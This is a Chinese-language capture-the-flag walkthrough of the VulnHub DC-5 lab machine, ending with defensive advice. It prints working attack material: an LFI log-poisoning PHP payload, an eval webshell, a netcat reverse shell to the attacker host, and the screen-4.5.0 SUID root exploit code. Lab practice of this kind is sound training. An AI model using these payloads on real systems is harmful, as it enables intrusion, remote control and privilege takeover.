vulnhub DC-5靶机实战
字数 1048 2025-08-12 11:34:44
DC-5 靶机渗透测试实战教程
0x00 靶机概述
DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察以下技术点:
- 信息收集与枚举
- 文件包含漏洞利用
- 日志污染攻击
- SUID 提权技术
0x01 环境准备
靶机下载
- 下载地址:https://www.vulnhub.com/entry/dc-5,314/
- 网络模式:NAT 模式
攻击机准备
- Kali Linux 最新版
- 工具准备:
- nmap
- dirsearch/dirb/gobuster
- Burp Suite
- netcat
- 蚁剑或其他 webshell 管理工具
0x02 信息收集
1. 主机发现
arp-scan -l
或
netdiscover -r 192.168.190.0/24
2. 端口扫描
nmap -sS -p- 192.168.190.133
发现开放 80 端口(HTTP 服务)
3. 目录扫描
使用 dirsearch 进行目录枚举:
python3 dirsearch.py -u http://192.168.190.133/
发现关键页面:
/contact.php- 留言板页面/footer.php- 包含动态内容的页脚
0x03 漏洞发现与利用
1. 文件包含漏洞
通过观察发现页脚显示的内容会变化:
© 2017-2020
数字会随机变化,表明可能存在文件包含漏洞。
尝试 LFI 攻击:
http://192.168.190.133/index.php?file=footer.php
2. 日志污染攻击
发现目标使用 Nginx 服务器,尝试读取 Nginx 日志:
http://192.168.190.133/index.php?file=/var/log/nginx/access.log
攻击步骤:
- 使用 Burp Suite 拦截请求
- 修改 User-Agent 为 PHP 代码:
<?php system($_GET['cmd']); ?>
- 发送请求污染日志
3. 获取 Webshell
通过污染后的日志执行命令:
http://192.168.190.133/index.php?file=/var/log/nginx/access.log&cmd=whoami
写入一句话木马:
http://192.168.190.133/index.php?file=/var/log/nginx/access.log&cmd=echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php
使用蚁剑连接:
- URL: http://192.168.190.133/shell.php
- 密码: cmd
0x04 权限提升
1. 反弹 Shell
Kali 监听:
nc -lvnp 5678
通过蚁剑执行反弹:
nc -e /bin/bash 192.168.190.128 5678
获取交互式 Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
2. 信息收集
whoami # www-data
uname -a
cat /etc/issue
find / -perm -u=s -type f 2>/dev/null
发现 screen-4.5.0 存在 SUID 提权漏洞
3. 提权利用
利用 screen-4.5.0 提权:
- 下载 exploit:
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh .
- 准备 exploit 文件:
- libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__)) void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
- rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译:
gcc -o rootshell rootshell.c
-
上传文件到目标机(通过蚁剑)
-
执行提权:
chmod +x 41154.sh
./41154.sh
whoami # root
4. 获取 Flag
cd /root
cat thisistheflag.txt
0x05 总结
- 信息收集:通过主机发现、端口扫描和目录枚举发现攻击面
- 漏洞利用:利用文件包含漏洞读取日志文件,通过日志污染获取 webshell
- 权限提升:利用 screen-4.5.0 的 SUID 提权漏洞获取 root 权限
- 防御建议:
- 限制文件包含的范围
- 将日志文件存放在 web 目录之外
- 及时更新存在漏洞的软件
- 遵循最小权限原则